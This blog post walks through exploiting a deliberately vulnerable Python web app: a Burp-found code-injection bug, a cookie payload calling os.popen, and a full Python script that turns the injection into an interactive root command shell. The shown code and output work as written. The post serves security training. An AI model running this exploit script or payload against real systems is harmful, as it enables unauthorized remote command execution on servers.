Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
I was looking into python code injection recently, and ran across SethSec’s blog post.
This looked like a great example, and I wanted to run through it myself.
First off, I downloaded the PyCodeInjection application and got it running locally.
root@kali:~/Documents# ls root@kali:~/Documents# git clone https://github.com/sethsec/PyCodeInjection.git Cloning into 'PyCodeInjection'... remote: Counting objects: 67, done. remote: Total 67 (delta 0), reused 0 (delta 0), pack-reused 67 Unpacking objects: 100% (67/67), done. Checking connectivity... done. root@kali:~/Documents# cd PyCodeInjection/ root@kali:~/Documents/PyCodeInjection# ls PyCodeInjectionShell.py README.md VulnApp root@kali:~/Documents/PyCodeInjection# cd VulnApp/ root@kali:~/Documents/PyCodeInjection/VulnApp# ls PyCodeInjectionApp.py install_requirements.sh requirements.txt templates root@kali:~/Documents/PyCodeInjection/VulnApp# ./install_requirements.sh ./install_requirements.sh: line 5: apt-get: command not found Collecting web.py (from -r requirements.txt (line 1)) Downloading web.py-0.38.tar.gz (91kB) 100% |�-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-�| 92kB 1.7MB/s Building wheels for collected packages: web.py Running setup.py bdist_wheel for web.py ... done Successfully built web.py Installing collected packages: web.py Successfully installed web.py-0.38 You are using pip version 8.1.2, however version 9.0.1 is available. You should consider upgrading via the 'pip install --upgrade pip' command. root@kali:~/Documents/PyCodeInjection/VulnApp# ls PyCodeInjectionApp.py install_requirements.sh requirements.txt templates root@kali:~/Documents/PyCodeInjection/VulnApp# python PyCodeInjectionApp.py 8123 http://0.0.0.0:8123/
Once the application was running, I verified that I was able to reach it through my browser.
I saw the GET requests to the vulnerable application, so I knew that I was up and running.
10.92.2.7:4933 - - [18/Nov/2016 13:00:24] "HTTP/1.1 GET /pyinject" - 200 OK 10.92.2.7:18844 - - [18/Nov/2016 13:00:56] "HTTP/1.1 GET /pyinject" - 200 OK 10.92.2.7:23884 - - [18/Nov/2016 13:01:08] "HTTP/1.1 GET /pyinject" - 200 OK
First, I sent a basic GET request with the mentioned parameters to the application.
Since nothing came from this yet (obviously), I also sent an example request with the cookie. I knew that this wouldn’t cause any injection to occur, but it would let Burp know that there was a cookie that could be passed as well.
With my requests loaded up into Burp, I then kicked off Scanner. Within a few second, Scanner picked up on the Python Code Injection and reported it.
Forwarding Burp’s request to Repeater, I was able to reproduce the 20 second sleep from the payload.
After verifying the code injection, I put a quick Python one-liner into my cookie. This will import os, run the popen method on ‘id’, and then read the object into a string.
With my code injection working, I then set out to reproduce this in my browser. First, I URL encoded my payload to prevent any issues with the special characters.
After properly encoding the payload, I sent my GET request and got the ‘id’ response in my browser!
In addition, I decided to integrate my exploit with a modified version of RWSH.
Finally, after modifying RWSH (v1.0, stay on the lookout for a new version), I was able to obtain a “shell” with this python code injection.
root@attackKali:~# python pyInjectionShell.py [*] Connecting to web shell: http://10.119.21.172:8123/pyinject [*] Obtaining username. [*] Obtaining hostname. [+] Returning prompt! root@kali:~$ id uid=0(root) gid=0(root) groups=0(root) root@kali:~$ whoami root root@kali:~$ ls -al total 32 drwxr-xr-x 7 root root 238 Nov 18 12:49 . drwxr-xr-x 8 root root 272 Nov 18 13:06 .. -rw-r--r-- 1 root root 4067 Nov 18 12:47 PyCodeInjectionApp.py -rw-r--r-- 1 root root 3586 Nov 18 12:49 PyCodeInjectionApp.pyc -rwxr-xr-x 1 root root 161 Nov 18 12:42 install_requirements.sh -rw-r--r-- 1 root root 7 Nov 18 12:42 requirements.txt drwxr-xr-x 3 root root 102 Nov 18 12:42 templates root@kali:~$ exit [-] EXITING root@attackKali:~#
The modified code for this exploit is below. Note that the HTML parsing isn’t perfect, so you will have to modify this on a target by target basis.
#!/usr/bin/python import requests import string from bs4 import BeautifulSoup def main(): session = requests.Session() session.trust_env = False ip = "10.119.21.172" port = "8123" filename = "pyinject" param = "param1" pycommand1 = "__import__('os').popen('" pycommand2 = "').read()" url = "http://" + ip + ":" + port + "/" + filename print "\n[*] Connecting to web shell:" print " " + url print "\n[*] Obtaining username." command = "whoami" r = session.get(url, params={param: pycommand1 + command + pycommand2}) username = '' soup = BeautifulSoup(r.text, 'html.parser') for br in soup.find_all("br"): if not '</br></br>' in str(br): username = br.text.strip() if "\\" in username: username = username.split("\\",1)[1] print "\n[*] Obtaining hostname." command = "hostname" r = session.get(url, params={param: pycommand1 + command + pycommand2}) hostname = '' soup = BeautifulSoup(r.text, 'html.parser') for br in soup.find_all("br"): if not '</br></br>' in str(br): hostname = br.text.strip() print "\n[+] Returning prompt!\n\n" try: while True: cmd = raw_input(username + "@" + hostname + ":~$ ") if cmd == "exit": print "\n\n[-] EXITING\n" return else: r = session.get(url, params={param: pycommand1 + cmd + pycommand2}) soup = BeautifulSoup(r.text, 'html.parser') for br in soup.find_all("br"): if not '</br></br>' in str(br): print br.text.strip() + "\n" except KeyboardInterrupt: print "\n\n\n[-] EXITING\n" return if __name__ == "__main__": main()
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he’s done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!
He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.
This page contains links to products that I may receive compensation from at no additional cost to you. View my Affiliate Disclosure page here. As an Amazon Associate, I earn from qualifying purchases.
Dope! You should make YouTube vids. I would be nice to see some of your skills/techniques live.
Awesome, thanks for that. That’s a pretty good idea, and I’ll let you know once I make the first one!
Sounds good! I have a question that doesn’t have much to do with this blog post. I know you got your ECPPT from ElearnSecurity. I’m currently enrolled in the course and studying for the exam. The course comes with a wifihacking section. Does the exam hack some sort of wifi hacking or is this just a bonus section?
I don’t even remember a WiFi section in my coursework to be honest. There was definitely no WiFi in my exam though, so you shouldn’t need to be worried about that.
Thanks dude! After this exam I plan on either taking the mobile hacking course or web app course. I know you recently got your web hacking cert from eLearnSecurity. I may have more questions for you later on haha. I hope you don’t mind.
[…] 2016.11 [doyler] 在Web应用程序中利用Python代码注入 […]
[…] think a great first test for these would be my Python code injection demo, so I look forward to trying them […]